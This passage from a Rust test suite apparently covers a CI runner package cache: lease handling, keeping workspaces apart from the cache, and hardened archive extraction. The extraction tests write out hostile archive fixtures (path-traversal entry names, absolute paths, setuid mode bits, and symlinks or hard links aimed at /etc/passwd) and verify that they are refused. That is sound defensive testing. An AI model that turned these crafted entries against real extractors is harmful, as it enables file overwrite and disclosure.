4613            cache.entry(&held).unwrap().is_some(),
4614            "the package a live runner may be executing from must still be there"
4615        );
4616        // `holders` refuses for the same reason rather than answering "none".
4617        assert!(cache.holders(&held).is_err());
4618
4619        // And the named remedy works.
4620        fs::remove_file(&lease_file).unwrap();
4621        cache
4622            .prune(&held, &[])
4623            .expect("a resolved lease lets it proceed");
4624    }
4625
4626    #[test]
4627    fn a_lease_released_while_holders_is_listing_is_not_reported_as_corrupt() {
4628        // The three answers, including the race that cannot be produced from
4629        // outside `holders`: a lease file listed and then released before it is
4630        // read. Reporting that as corruption makes `prune` refuse for a reason
4631        // that is not true.
4632        let dir = tempfile::tempdir().expect("a temporary root");
4633        let held = version("2.330.0");
4634        let id = AttemptId::from_u128(0x100);
4635
4636        // Gone — released between the listing and the read.
4637        let missing = dir.path().join(format!("{id}.{LEASE_EXTENSION}"));
4638        assert!(!missing.exists());
4639        assert_eq!(
4640            holder_of(&missing, &held).expect("a released lease is not an error"),
4641            None
4642        );
4643
4644        // Present and readable, for this version and for another.
4645        fs::write(&missing, br#"{"version":"2.330.0"}"#).unwrap();
4646        assert_eq!(holder_of(&missing, &held).unwrap(), Some(id));
4647        assert_eq!(holder_of(&missing, &version("2.340.0")).unwrap(), None);
4648
4649        // Present and unintelligible — still fails closed.
4650        fs::write(&missing, b"{\"version\":\"2.33").unwrap();
4651        assert!(matches!(
4652            holder_of(&missing, &held),
4653            Err(PackageError::UnreadableLease { .. })
4654        ));
4655
4656        // Present, readable, but not named after an attempt.
4657        let anonymous = dir.path().join(format!("not-a-uuid.{LEASE_EXTENSION}"));
4658        fs::write(&anonymous, br#"{"version":"2.330.0"}"#).unwrap();
4659        assert!(matches!(
4660            holder_of(&anonymous, &held),
4661            Err(PackageError::UnreadableLease { .. })
4662        ));
4663    }
4664
4665    #[tokio::test]
4666    async fn a_lease_file_that_is_not_named_after_an_attempt_refuses_a_prune() {
4667        let (harness, _, _) = linux_fixture();
4668        let cache = cache_with_one_entry(&harness).await;
4669        let held = version("2.330.0");
4670        let strays = cache.root().join(LEASES_DIR);
4671        fs::create_dir_all(&strays).unwrap();
4672        let stray = strays.join(format!("not-a-uuid.{LEASE_EXTENSION}"));
4673        fs::write(&stray, b"{\"version\":\"2.330.0\"}").unwrap();
4674
4675        let error = cache.prune(&held, &[]).unwrap_err();
4676
4677        assert!(
4678            matches!(error, PackageError::UnreadableLease { .. }),
4679            "a lease whose holder cannot be identified must refuse, got {error:?}"
4680        );
4681        assert!(cache.entry(&held).unwrap().is_some());
4682    }
4683
4684    #[tokio::test]
4685    async fn an_unreferenced_version_prunes_with_no_ceremony() {
4686        let (harness, _, _) = linux_fixture();
4687        let cache = cache_with_one_entry(&harness).await;
4688        let held = version("2.330.0");
4689
4690        cache.prune(&held, &[]).expect("nothing references it");
4691
4692        assert!(cache.entry(&held).unwrap().is_none());
4693        assert!(cache.installed().unwrap().is_empty());
4694    }
4695
4696    #[tokio::test]
4697    async fn one_attempts_lease_does_not_pin_another_version() {
4698        let (harness, _, _) = linux_fixture();
4699        let cache = cache_with_one_entry(&harness).await;
4700
4701        // A second version, so there are two entries and one lease.
4702        let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
4703        harness.catalog.publish(vec![published(
4704            "linux",
4705            "x64",
4706            "2.340.0",
4707            ".tar.gz",
4708            Some(&hex_digest(&newer)),
4709        )]);
4710        harness.fetcher.serve(newer);
4711        harness
4712            .clock
4713            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4714        cache.ensure_installed().await.expect("the newer install");
4715        assert_eq!(cache.installed().unwrap().len(), 2);
4716
4717        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4718        cache.lease(&live, &version("2.340.0")).expect("a lease");
4719
4720        // The held one is refused, the unheld one is not.
4721        assert!(
4722            cache
4723                .prune(&version("2.340.0"), std::slice::from_ref(&live))
4724                .is_err()
4725        );
4726        cache
4727            .prune(&version("2.330.0"), &[live])
4728            .expect("the unheld version prunes");
4729        assert_eq!(cache.installed().unwrap().len(), 1);
4730    }
4731
4732    #[tokio::test]
4733    async fn a_lease_outlives_the_cache_object_that_took_it() {
4734        // The guard is only meaningful if it survives a restart, so the lease
4735        // is a file rather than a field.
4736        let (harness, _, _) = linux_fixture();
4737        let held = version("2.330.0");
4738        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4739        {
4740            let cache = cache_with_one_entry(&harness).await;
4741            cache.lease(&live, &held).expect("a lease");
4742        }
4743
4744        let reopened = harness.cache();
4745        assert_eq!(reopened.holders(&held).unwrap(), vec![live.id]);
4746        assert!(reopened.prune(&held, &[live]).is_err());
4747    }
4748
4749    #[tokio::test]
4750    async fn releasing_a_lease_that_was_never_taken_is_not_an_error() {
4751        let (harness, _, _) = linux_fixture();
4752        let cache = cache_with_one_entry(&harness).await;
4753        cache
4754            .release(AttemptId::from_u128(0xdead))
4755            .expect("a cleanup path may release unconditionally");
4756    }
4757
4758    #[tokio::test]
4759    async fn leasing_a_version_that_is_not_installed_is_refused() {
4760        let (harness, _, _) = linux_fixture();
4761        let cache = cache_with_one_entry(&harness).await;
4762        let attempt = attempt_in(&harness, 0x100, AttemptState::Busy);
4763
4764        let error = cache.lease(&attempt, &version("9.9.9")).unwrap_err();
4765
4766        assert!(matches!(error, PackageError::NotInstalled { .. }));
4767    }
4768
4769    // =====================================================================
4770    // DoD 7 — job workspaces are never stored inside the package cache.
4771    // =====================================================================
4772
4773    #[tokio::test]
4774    async fn a_lease_refuses_a_workspace_inside_the_cache_and_accepts_one_outside_it() {
4775        // Both directions in one test, deliberately.
4776        //
4777        // Split across two tests, the refusal half stayed green through a
4778        // mutation that made the containment check answer `true` for
4779        // everything — a lease that refuses every workspace satisfies "inside
4780        // is refused" perfectly. The acceptance half is what makes the refusal
4781        // mean something, and a reviewer reading one test cannot miss it the
4782        // way a reviewer reading two can.
4783        let (harness, _, _) = linux_fixture();
4784        let cache = cache_with_one_entry(&harness).await;
4785        let held = version("2.330.0");
4786
4787        // Refused: the mistake this guard exists to catch is `e3` deriving a
4788        // runtime path from the cache entry it copied from.
4789        for inside in [
4790            cache.root().join("2.330.0").join("_work"),
4791            cache.root().join("workspaces").join("attempt-1"),
4792            cache.root().to_path_buf(),
4793        ] {
4794            let attempt = fixtures::attempt()
4795                .id(AttemptId::from_u128(0x100))
4796                .state(AttemptState::Busy)
4797                .runtime_path(inside.to_string_lossy().to_string())
4798                .build();
4799
4800            let error = cache.lease(&attempt, &held).unwrap_err();
4801
4802            assert!(
4803                matches!(error, PackageError::WorkspaceInsideCache { .. }),
4804                "`{}` is inside the cache and must be refused, got {error:?}",
4805                inside.display()
4806            );
4807            assert!(
4808                cache.holders(&held).unwrap().is_empty(),
4809                "a refused lease must not have been written"
4810            );
4811        }
4812
4813        // Accepted: a workspace where `d1` actually puts one.
4814        let proper = attempt_in(&harness, 0x100, AttemptState::Busy);
4815        cache
4816            .lease(&proper, &held)
4817            .expect("a runtime under the runtime directory is where it belongs");
4818        assert_eq!(cache.holders(&held).unwrap(), vec![proper.id]);
4819    }
4820
4821    #[test]
4822    fn the_runtime_directory_and_the_package_cache_are_disjoint_roots() {
4823        // Structural, and it holds for a layout nobody has created yet: `d1`
4824        // puts workspaces under `runtime/` and the retained package cache under
4825        // `state/`, so neither can contain the other.
4826        let dir = tempfile::tempdir().expect("a temporary root");
4827        let paths = AppPaths::rooted_at(dir.path());
4828        let cache_root = paths.state_dir().join(PACKAGES_DIR);
4829        let workspaces = paths.runtime_dir();
4830
4831        assert!(
4832            !is_inside(&cache_root, workspaces),
4833            "job workspaces must not live inside the package cache"
4834        );
4835        assert!(
4836            !is_inside(workspaces, &cache_root),
4837            "the package cache must not live inside the workspace root"
4838        );
4839        // And a concrete per-attempt workspace, the shape `e3` will build.
4840        let attempt_workspace = workspaces
4841            .join(fixtures::POLICY_ID.to_string())
4842            .join(fixtures::ATTEMPT_ID.to_string());
4843        assert!(!is_inside(&cache_root, &attempt_workspace));
4844    }
4845
4846    #[tokio::test]
4847    async fn installing_writes_nothing_under_the_runtime_directory() {
4848        let (harness, _, _) = linux_fixture();
4849        let cache = cache_with_one_entry(&harness).await;
4850
4851        assert!(
4852            all_paths(harness.paths.runtime_dir()).is_empty(),
4853            "the package cache must not create job workspaces: {:?}",
4854            all_paths(harness.paths.runtime_dir())
4855        );
4856        // Everything it did write is under the cache root.
4857        let written = all_paths(cache.root());
4858        assert!(
4859            written.iter().any(|path| path.starts_with("2.330.0")),
4860            "the entry should be there: {written:?}"
4861        );
4862    }
4863
4864    #[test]
4865    fn the_tool_cache_is_retained_beside_the_binaries_not_inside_an_entry() {
4866        // "Runner binaries and approved tool caches are retained separately
4867        // from job workspaces" — separately from workspaces, and separately
4868        // from the immutable entries, because a tool cache is written to.
4869        let dir = tempfile::tempdir().expect("a temporary root");
4870        let paths = AppPaths::rooted_at(dir.path());
4871        let cache = PackageCache::new(
4872            &paths,
4873            Os::Linux,
4874            Arch::X64,
4875            CachePorts {
4876                catalog: FakeCatalog::with(Vec::new()),
4877                fetcher: FakeFetcher::with(Vec::new()),
4878                backoff: Arc::new(NoBackoff),
4879                clock: Arc::new(FakeClock::default()),
4880            },
4881        );
4882
4883        assert!(
4884            !is_inside(cache.root(), cache.tool_cache_dir()),
4885            "a written-to tool cache must not sit inside the immutable entries"
4886        );
4887        assert!(
4888            !is_inside(paths.runtime_dir(), cache.tool_cache_dir()),
4889            "the tool cache is retained, not disposable with a workspace"
4890        );
4891        assert!(is_inside(paths.state_dir(), cache.tool_cache_dir()));
4892    }
4893
4894    // =====================================================================
4895    // Extraction
4896    // =====================================================================
4897
4898    #[tokio::test]
4899    async fn both_published_archive_formats_extract_on_every_platform() {
4900        for (extension, bytes) in [
4901            (".zip", zip_bytes(&package_entries())),
4902            (".tar.gz", tar_gz_bytes(&package_entries())),
4903        ] {
4904            let digest = hex_digest(&bytes);
4905            let harness = Harness::new(
4906                vec![published(
4907                    "linux",
4908                    "x64",
4909                    "2.330.0",
4910                    extension,
4911                    Some(&digest),
4912                )],
4913                bytes,
4914            );
4915
4916            let installed = harness
4917                .cache()
4918                .ensure_installed()
4919                .await
4920                .unwrap_or_else(|error| panic!("{extension} should extract: {error}"));
4921
4922            assert_eq!(
4923                fs::read_to_string(installed.root().join("run.sh")).unwrap(),
4924                "#!/bin/sh\necho runner\n"
4925            );
4926            assert_eq!(
4927                fs::read_to_string(installed.root().join("bin/Runner.Listener")).unwrap(),
4928                "listener\n"
4929            );
4930        }
4931    }
4932
4933    #[test]
4934    fn an_archive_entry_that_escapes_is_refused_and_writes_nothing_outside_the_target() {
4935        // This asserts a *property* — nothing lands outside the extraction
4936        // directory — and that property is held up by two independent layers:
4937        // this module's `resolve_inside`, and the archive crates' own guards
4938        // (`ZipFile::enclosed_name` answering `None`, `Entry::unpack_in`
4939        // answering `false`). Gutting either layer alone leaves the property
4940        // standing; removing both turns this red.
4941        //
4942        // # What that means for the call sites, stated rather than glossed
4943        //
4944        // `resolve_inside` itself is pinned by
4945        // `an_archive_entry_may_not_resolve_outside_the_directory_it_is_
4946        // extracted_into`, which reds when the function is gutted.
4947        //
4948        // # The tar call site is pinned by behaviour, and the input is below
4949        //
4950        // An earlier version of this comment claimed no input distinguishes
4951        // this module's layer from the archive crates' layers. That is false,
4952        // and the distinguishing input is the `"tar.gz absolute"` case in this
4953        // very table. Measured against tar 0.4.46:
4954        //
4955        // ```text
4956        // entry  /tmp/escaped.txt   resolve_inside refuses   unpack_in -> Ok(true)
4957        // entry    ../escaped.txt   resolve_inside refuses   unpack_in -> Ok(false)
4958        // ```
4959        //
4960        // `tar` documents it — "Leading `/`s are trimmed" — so for an absolute
4961        // entry it strips the root and unpacks happily into `into/tmp/...`.
4962        // `unpack_in` alone therefore *admits* that entry; `resolve_inside` is
4963        // the only thing that refuses it. Replacing the call with a plain
4964        // `into.join(...)` reds this test.
4965        //
4966        // The **zip** call site is the one that really is compile-pinned only:
4967        // `enclosed_name` already answers `None` for absolute paths, drive
4968        // prefixes and `..`, so no input separates the two layers there. Its
4969        // value is insurance against a dependency relaxing its own sanitising,
4970        // not coverage of a reachable hole.
4971        let dir = tempfile::tempdir().expect("a temporary root");
4972        let target = dir.path().join("target");
4973        let outside = dir.path().join("escaped.txt");
4974
4975        // Negative control: a legitimate archive really does extract here, so a
4976        // refusal below is a refusal of the escape rather than of everything.
4977        let good = dir.path().join("good.archive");
4978        fs::write(&good, tar_gz_bytes(&package_entries())).unwrap();
4979        extract(&good, ArchiveKind::TarGz, &target).expect("a legitimate archive extracts");
4980        assert!(target.join("run.sh").is_file());
4981        remove_dir_all::remove_dir_all(&target).unwrap();
4982
4983        for (label, bytes, kind) in [
4984            (
4985                "tar.gz",
4986                tar_gz_with_raw_name("../escaped.txt", "owned"),
4987                ArchiveKind::TarGz,
4988            ),
4989            (
4990                "tar.gz absolute",
4991                tar_gz_with_raw_name("/tmp/escaped.txt", "owned"),
4992                ArchiveKind::TarGz,
4993            ),
4994            (
4995                "zip",
4996                zip_bytes(&[("../escaped.txt", "owned")]),
4997                ArchiveKind::Zip,
4998            ),
4999        ] {
5000            let archive = dir.path().join(format!("{label}.archive"));
5001            fs::write(&archive, &bytes).unwrap();
5002            let _ = remove_dir_all::remove_dir_all(&target);
5003
5004            let result = extract(&archive, kind, &target);
5005
5006            assert!(
5007                !outside.exists(),
5008                "{label}: an entry escaped the extraction directory"
5009            );
5010            let error = result.expect_err(&format!("{label}: the escape must be refused"));
5011            assert!(
5012                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
5013                "{label}: expected an unsafe-entry refusal, got {error:?}"
5014            );
5015            assert!(error.is_terminal());
5016            assert_eq!(
5017                error.failure_reason(),
5018                Some(FailureReason::RunnerPackageUnverified)
5019            );
5020        }
5021    }
5022
5023    #[test]
5024    fn the_mode_policy_drops_every_bit_that_is_not_an_executable_bit() {
5025        // The policy itself, asserted on every CI leg including the one whose
5026        // filesystem has no mode bits — the `#[cfg(unix)]` tests below prove
5027        // the extraction paths reach this function, and this proves what the
5028        // function decides.
5029        for (published, expected, what) in [
5030            (0o4755, 0o700, "setuid is dropped"),
5031            (0o2755, 0o700, "setgid is dropped"),
5032            (0o1777, 0o700, "the sticky bit is dropped"),
5033            (
5034                0o7777,
5035                0o700,
5036                "all three, plus group and other, are dropped",
5037            ),
5038            (0o777, 0o700, "group and other lose everything"),
5039            (0o666, 0o600, "a non-executable file stays non-executable"),
5040            (0o644, 0o600, "the ordinary case"),
5041            (0o755, 0o700, "an executable stays executable"),
5042            (0o000, 0o600, "the owner can always read it back"),
5043        ] {
5044            assert_eq!(
5045                policy_mode(published),
5046                expected,
5047                "{what}: policy_mode({published:o}) should be {expected:o}"
5048            );
5049        }
5050        // Stated as properties too, so a policy change has to be deliberate.
5051        for published in 0..=0o7777_u32 {
5052            let applied = policy_mode(published);
5053            assert_eq!(applied & 0o7000, 0, "no setuid, setgid or sticky ever");
5054            assert_eq!(applied & 0o077, 0, "nothing for group or other ever");
5055            assert_eq!(
5056                applied & 0o100 != 0,
5057                published & 0o111 != 0,
5058                "executability is the only thing carried through, and only for \
5059                 the owner (published {published:o} -> {applied:o})"
5060            );
5061        }
5062    }
5063
5064    /// `.tar.gz` is the format for Linux and macOS, so this is where modes and
5065    /// links actually reach a filesystem that has them.
5066    #[cfg(unix)]
5067    #[test]
5068    fn a_published_archives_setuid_and_group_bits_are_never_applied_to_an_extracted_file() {
5069        use std::os::unix::fs::PermissionsExt as _;
5070
5071        let dir = tempfile::tempdir().expect("a temporary root");
5072        // setuid + setgid + sticky, world-writable, and executable: everything
5073        // a hostile or merely careless publisher could put in a header.
5074        let bytes = tar_gz_special(
5075            "run.sh",
5076            "#!/bin/sh\n",
5077            0o7777,
5078            tar::EntryType::Regular,
5079            None,
5080        );
5081        // The fixture really carries them. Without this the assertions below
5082        // would hold over an archive that never had a setuid bit to drop.
5083        let (mode, kind, _) = first_entry_header(&bytes);
5084        assert_eq!(mode, 0o7777, "the fixture must carry the full mode");
5085        assert_eq!(kind, tar::EntryType::Regular);
5086
5087        let archive = dir.path().join("p.archive");
5088        fs::write(&archive, &bytes).unwrap();
5089        let target = dir.path().join("target");
5090        extract(&archive, ArchiveKind::TarGz, &target).expect("extraction");
5091
5092        let applied = fs::metadata(target.join("run.sh"))
5093            .unwrap()
5094            .permissions()
5095            .mode()
5096            & 0o7777;
5097        assert_eq!(
5098            applied & 0o4000,
5099            0,
5100            "setuid must never survive extraction (mode {applied:o})"
5101        );
5102        assert_eq!(
5103            applied & 0o2000,
5104            0,
5105            "setgid must never survive extraction (mode {applied:o})"
5106        );
5107        assert_eq!(
5108            applied & 0o022,
5109            0,
5110            "group and world write must never survive (mode {applied:o})"
5111        );
5112        // The policy `extract_zip` documents, applied identically here:
5113        // executable bits kept, owner read/write, nothing else.
5114        assert_eq!(
5115            applied, 0o700,
5116            "the tar path must apply the same mode policy as the zip path"
5117        );
5118    }
5119
5120    #[cfg(unix)]
5121    #[test]
5122    fn an_extracted_directorys_mode_is_owner_only_and_still_usable() {
5123        use std::os::unix::fs::PermissionsExt as _;
5124
5125        let dir = tempfile::tempdir().expect("a temporary root");
5126        let bytes = tar_gz_special("bin/", "", 0o2777, tar::EntryType::Directory, None);
5127        let archive = dir.path().join("p.archive");
5128        fs::write(&archive, &bytes).unwrap();
5129        let target = dir.path().join("target");
5130
5131        extract(&archive, ArchiveKind::TarGz, &target).expect("extraction");
5132
5133        let applied = fs::metadata(target.join("bin"))
5134            .unwrap()
5135            .permissions()
5136            .mode()
5137            & 0o7777;
5138        assert_eq!(
5139            applied & 0o2000,
5140            0,
5141            "setgid must not survive on a directory"
5142        );
5143        assert_eq!(applied & 0o077, 0, "group and other get nothing");
5144        assert!(
5145            applied & 0o300 == 0o300,
5146            "the owner must still be able to write and traverse it (mode {applied:o})"
5147        );
5148    }
5149
5150    #[test]
5151    fn a_link_whose_target_escapes_the_package_is_refused() {
5152        // Refused before any filesystem link call, so this runs on every CI
5153        // leg — creating a symlink on Windows needs a privilege the agent
5154        // should not want, and this test never needs one.
5155        let dir = tempfile::tempdir().expect("a temporary root");
5156        for (label, bytes) in [
5157            (
5158                "symlink to an absolute path",
5159                tar_gz_special(
5160                    "link",
5161                    "",
5162                    0o777,
5163                    tar::EntryType::Symlink,
5164                    Some("/etc/passwd"),
5165                ),
5166            ),
5167            (
5168                "symlink climbing out",
5169                tar_gz_special(
5170                    "link",
5171                    "",
5172                    0o777,
5173                    tar::EntryType::Symlink,
5174                    Some("../../escape"),
5175                ),
5176            ),
5177            (
5178                "symlink climbing out from a subdirectory",
5179                tar_gz_special(
5180                    "bin/link",
5181                    "",
5182                    0o777,
5183                    tar::EntryType::Symlink,
5184                    Some("../../escape"),
5185                ),
5186            ),
5187            (
5188                "hard link",
5189                tar_gz_special("link", "", 0o644, tar::EntryType::Link, Some("/etc/passwd")),
5190            ),
5191        ] {
5192            // The fixture really is a link with that target.
5193            let (_, kind, link) = first_entry_header(&bytes);
5194            assert!(
5195                matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link),
5196                "{label}: the fixture must be a link entry"
5197            );
5198            assert!(link.is_some(), "{label}: the fixture must carry a target");
5199
5200            let archive = dir.path().join(format!("{label}.archive"));
5201            fs::write(&archive, &bytes).unwrap();
5202            let target = dir.path().join(label);
5203
5204            let error = extract(&archive, ArchiveKind::TarGz, &target)
5205                .expect_err(&format!("{label} must be refused"));
5206
5207            assert!(
5208                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
5209                "{label}: expected an unsafe-entry refusal, got {error:?}"
5210            );
5211            assert!(error.is_terminal());
5212            assert_eq!(
5213                error.failure_reason(),
5214                Some(FailureReason::RunnerPackageUnverified)
5215            );
5216            assert!(
5217                !target.join("link").exists(),
5218                "{label}: nothing may have been created"
5219            );
5220        }
5221    }
5222
5223    /// The negative control for the refusal above: a link that stays inside the
5224    /// package is legitimate and must still extract.
5225    ///
5226    /// Unix-only because creating the symlink is the point, and Windows needs a
5227    /// privilege for that. The *refusal* path above is cross-platform.
5228    #[cfg(unix)]
5229    #[test]
5230    fn a_link_that_stays_inside_the_package_is_extracted() {
5231        let dir = tempfile::tempdir().expect("a temporary root");
5232        let bytes = tar_gz_special(
5233            "bin/current",
5234            "",
5235            0o777,
5236            tar::EntryType::Symlink,
5237            Some("../run.sh"),
5238        );
5239        let archive = dir.path().join("p.archive");
5240        fs::write(&archive, &bytes).unwrap();
5241        let target = dir.path().join("target");
5242
5243        extract(&archive, ArchiveKind::TarGz, &target)
5244            .expect("a link inside the package is legitimate");
5245
5246        assert!(
5247            fs::symlink_metadata(target.join("bin/current"))
5248                .unwrap()
5249                .is_symlink(),
5250            "the link should have been created"
5251        );
5252    }
5253
5254    #[test]
5255    fn an_entry_that_names_the_extraction_root_resolves_to_nothing() {
5256        // The cross-platform half of the root-entry fix. The end-to-end test
5257        // below can only see the consequence on a filesystem with mode bits,
5258        // so the decision itself is asserted here, where every CI leg runs it.
5259        let root = Path::new("/cache/staging/root");
5260        for names_the_root in [".", "./", "./."] {
5261            assert_eq!(
5262                entry_destination(root, Path::new(names_the_root), names_the_root).unwrap(),
5263                None,
5264                "`{names_the_root}` names the extraction root and must not resolve to it"
5265            );
5266        }
5267        // And an ordinary entry still resolves normally, so the check above is
5268        // not simply swallowing everything.
5269        assert_eq!(
5270            entry_destination(root, Path::new("bin/run.sh"), "bin/run.sh").unwrap(),
5271            Some(root.join("bin").join("run.sh"))
5272        );
5273        assert_eq!(
5274            entry_destination(root, Path::new("./bin/run.sh"), "./bin/run.sh").unwrap(),
5275            Some(root.join("bin").join("run.sh"))
5276        );
5277        // An escape is still an escape rather than a skipped root entry.
5278        assert!(entry_destination(root, Path::new("../x"), "../x").is_err());
5279    }
5280
5281    #[test]
5282    fn a_directory_always_gets_a_traversable_owner_only_mode() {
5283        // The directory rule, asserted where every CI leg runs it. The zip path
5284        // used to skip the policy for directories entirely, and `policy_mode`
5285        // alone would have made a `0o644` directory undescendable.
5286        for published in [Some(0o2777), Some(0o755), Some(0o644), Some(0o000), None] {
5287            assert_eq!(
5288                intended_mode(true, published),
5289                Some(0o700),
5290                "a directory published as {published:?} must end up traversable and owner-only"
5291            );
5292        }
5293        // Files keep the file rule, including "no published mode, leave it".
5294        assert_eq!(intended_mode(false, Some(0o4755)), Some(0o700));
5295        assert_eq!(intended_mode(false, Some(0o644)), Some(0o600));
5296        assert_eq!(
5297            intended_mode(false, None),
5298            None,
5299            "a zip written on Windows publishes no mode, and there is nothing to apply"
5300        );
5301    }
5302
5303    #[cfg(unix)]
5304    #[test]
5305    fn a_zip_directory_entry_gets_the_same_mode_policy_as_a_tar_one() {
5306        use std::os::unix::fs::PermissionsExt as _;
5307
5308        // The zip path returned early for directories and never reached the
5309        // policy, so a `.zip` published with a world-writable or setgid
5310        // directory got it applied verbatim by `create_dir_all` + the archive.
5311        // Both formats extract on every platform, so this is not hypothetical
5312        // just because Windows packages are the zips.
5313        let dir = tempfile::tempdir().expect("a temporary root");
5314        let bytes = zip_bytes_with_modes(&[
5315            ("bin/", "", Some(0o2777)),
5316            ("bin/run.sh", "#!/bin/sh\n", Some(0o4755)),
5317        ]);
5318        let archive = dir.path().join("p.archive");
5319        fs::write(&archive, &bytes).unwrap();
5320        let target = dir.path().join("target");
5321
5322        extract(&archive, ArchiveKind::Zip, &target).expect("extraction");
5323
5324        let dir_mode = fs::metadata(target.join("bin"))
5325            .unwrap()
5326            .permissions()
5327            .mode()
5328            & 0o7777;
5329        assert_eq!(
5330            dir_mode, 0o700,
5331            "a zip directory must get the owner-only policy (mode {dir_mode:o})"
5332        );
5333        let file_mode = fs::metadata(target.join("bin/run.sh"))
5334            .unwrap()
5335            .permissions()
5336            .mode()
5337            & 0o7777;
5338        assert_eq!(
5339            file_mode, 0o700,
5340            "a zip file must get the owner-only policy (mode {file_mode:o})"
5341        );
5342    }
5343
5344    #[cfg(unix)]
5345    #[test]
5346    fn a_directory_entry_with_no_executable_bit_is_still_traversable() {
5347        use std::os::unix::fs::PermissionsExt as _;
5348
5349        // `policy_mode` alone would turn a `0o644` directory into `0o600`,
5350        // which the agent could not then descend into. A directory's
5351        // traversability is not the archive's to withhold.
5352        let dir = tempfile::tempdir().expect("a temporary root");
5353        for (label, bytes, kind) in [
5354            (
5355                "tar.gz",
5356                tar_gz_special("bin/", "", 0o644, tar::EntryType::Directory, None),
5357                ArchiveKind::TarGz,
5358            ),
5359            (
5360                "zip",
5361                zip_bytes_with_modes(&[("bin/", "", Some(0o644))]),
5362                ArchiveKind::Zip,
5363            ),
5364        ] {
5365            let archive = dir.path().join(format!("{label}.archive"));
5366            fs::write(&archive, &bytes).unwrap();
5367            let target = dir.path().join(label);
5368
5369            extract(&archive, kind, &target).expect("extraction");
5370
5371            let mode = fs::metadata(target.join("bin"))
5372                .unwrap()
5373                .permissions()
5374                .mode()
5375                & 0o7777;
5376            assert_eq!(
5377                mode, 0o700,
5378                "{label}: a directory must stay traversable (mode {mode:o})"
5379            );
5380        }
5381    }
5382
5383    #[test]
5384    fn an_entry_naming_the_extraction_root_cannot_touch_it() {
5385        // An entry called `.` or `./` resolves to the extraction directory
5386        // itself, which would hand the archive control of the mode of a
5387        // directory this module owns and created. It is not an escape — the
5388        // policy fails closed — but the archive does not get a say here.
5389        //
5390        // **Which half of this proves what.** The mode assertion below is the
5391        // one that detects the defect, and it is `#[cfg(unix)]`, so on Windows
5392        // this test only shows that a root entry is tolerated rather than
5393        // fatal. The decision itself is asserted on every leg by
5394        // `an_entry_that_names_the_extraction_root_resolves_to_nothing`, which
5395        // reds when the skip is removed. Said here so nobody reads a green
5396        // Windows run as proof of the mode property.
5397        let dir = tempfile::tempdir().expect("a temporary root");
5398        for (label, bytes, kind) in [
5399            (
5400                "tar.gz dot",
5401                tar_gz_special(".", "", 0o777, tar::EntryType::Directory, None),
5402                ArchiveKind::TarGz,
5403            ),
5404            (
5405                "tar.gz dot slash",
5406                tar_gz_special("./", "", 0o777, tar::EntryType::Directory, None),
5407                ArchiveKind::TarGz,
5408            ),
5409            (
5410                "zip dot",
5411                zip_bytes_with_modes(&[("./", "", Some(0o777))]),
5412                ArchiveKind::Zip,
5413            ),
5414        ] {
5415            let archive = dir.path().join(format!("{label}.archive"));
5416            fs::write(&archive, &bytes).unwrap();
5417            let target = dir.path().join(label);
5418            fs::create_dir_all(&target).unwrap();
5419            let marker = target.join("owned-by-this-module");
5420            fs::write(&marker, b"x").unwrap();
5421
5422            // Skipped, not refused: `tar -C dir -czf out.tgz .` emits exactly
5423            // this entry for the archive's own root, so refusing it would fail
5424            // a legitimate package. See `resolve_inside` for the reasoning.
5425            extract(&archive, kind, &target).unwrap_or_else(|error| {
5426                panic!("{label}: a root entry is skipped, not fatal: {error}")
5427            });
5428
5429            assert!(
5430                marker.is_file(),
5431                "{label}: the extraction root must be untouched"
5432            );
5433            #[cfg(unix)]
5434            {
5435                use std::os::unix::fs::PermissionsExt as _;
5436                let mode = fs::metadata(&target).unwrap().permissions().mode() & 0o7777;
5437                assert_ne!(
5438                    mode, 0o777,
5439                    "{label}: the archive must not have set the root's mode"
5440                );
5441            }
5442        }
5443    }
5444
5445    #[test]
5446    fn the_archive_format_comes_from_the_filename_not_from_the_host() {
5447        assert_eq!(
5448            ArchiveKind::split("actions-runner-win-x64-2.330.0.zip")
5449                .unwrap()
5450                .1,
5451            ArchiveKind::Zip
5452        );
5453        assert_eq!(
5454            ArchiveKind::split("actions-runner-linux-x64-2.330.0.tar.gz")
5455                .unwrap()
5456                .1,
5457            ArchiveKind::TarGz
5458        );
5459        assert_eq!(
5460            ArchiveKind::split("actions-runner-linux-x64-2.330.0.TAR.GZ")
5461                .unwrap()
5462                .1,
5463            ArchiveKind::TarGz
5464        );
5465        assert!(ArchiveKind::split("actions-runner-linux-x64-2.330.0.7z").is_err());
5466    }
5467
5468    #[tokio::test]
5469    async fn a_zip_is_extracted_on_a_host_whose_own_packages_are_tarballs() {
5470        // The format follows the filename, so this exercises the Windows
5471        // extraction path on the Linux and macOS CI legs too.
5472        let bytes = zip_bytes(&package_entries());
5473        let harness = Harness::new(
5474            vec![published(
5475                "linux",
5476                "x64",
5477                "2.330.0",
5478                ".zip",
5479                Some(&hex_digest(&bytes)),
5480            )],
5481            bytes,
5482        );
5483
5484        let installed = harness.cache().ensure_installed().await.expect("a zip");
5485
5486        assert!(installed.root().join("bin/Runner.Listener").is_file());
5487    }
5488}